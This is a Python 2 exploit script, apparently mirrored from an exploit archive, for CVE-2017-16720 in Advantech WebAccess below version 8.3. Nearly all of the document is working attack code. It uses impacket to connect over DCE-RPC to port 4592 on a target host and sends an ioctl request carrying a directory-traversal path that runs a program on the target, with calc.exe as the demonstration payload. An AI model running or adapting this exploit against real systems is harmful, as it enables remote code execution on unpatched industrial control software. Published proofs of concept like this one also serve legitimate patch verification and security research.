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Advantech WebAccess < 8.3 - Directory Traversal / Remote Code Execution Exploit
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#!/usr/bin/python2.7 # Exploit Title: Advantech WebAccess < 8.3 webvrpcs Directory Traversal RCE Vulnerability # Date: 03-11-2018 # Exploit Author: Chris Lyne (@lynerc) # Vendor Homepage: www.advantech.com # Software Link: http://advcloudfiles.advantech.com/web/Download/webaccess/8.2/AdvantechWebAccessUSANode8.2_20170817.exe # Version: Advantech WebAccess 8.2-2017.08.18 # Tested on: Windows Server 2008 R2 Enterprise 64-bit # CVE : CVE-2017-16720 # See Also: https://www.zerodayinitiative.com/advisories/ZDI-18-024/ import sys, struct from impacket import uuid from impacket.dcerpc.v5 import transport def call(dce, opcode, stubdata): dce.call(opcode, stubdata) res = -1 try: res = dce.recv() except Exception, e: print "Exception encountered..." + str(e) sys.exit(1) return res if len(sys.argv) != 2: print "Provide only host arg" sys.exit(1) port = 4592 interface = "5d2b62aa-ee0a-4a95-91ae-b064fdb471fc" version = "1.0" host = sys.argv[1] string_binding = "ncacn_ip_tcp:%s" % host trans = transport.DCERPCTransportFactory(string_binding) trans.set_dport(port) dce = trans.get_dce_rpc() dce.connect() print "Binding..." iid = uuid.uuidtup_to_bin((interface, version)) dce.bind(iid) print "...1" stubdata = struct.pack("<III", 0x00, 0xc351, 0x04) call(dce, 2, stubdata) print "...2" stubdata = struct.pack("<I", 0x02) res = call(dce, 4, stubdata) if res == -1: print "Something went wrong" sys.exit(1) res = struct.unpack("III", res) if (len(res) < 3): print "Received unexpected length value" sys.exit(1) print "...3" # ioctl 0x2711 stubdata = struct.pack("<IIII", res[2], 0x2711, 0x204, 0x204) command = "..\\..\\windows\\system32\\calc.exe" fmt = "<" + str(0x204) + "s" stubdata += struct.pack(fmt, command) call(dce, 1, stubdata) print "\nDid it work?" dce.disconnect() # 0day.today [2024-12-25] #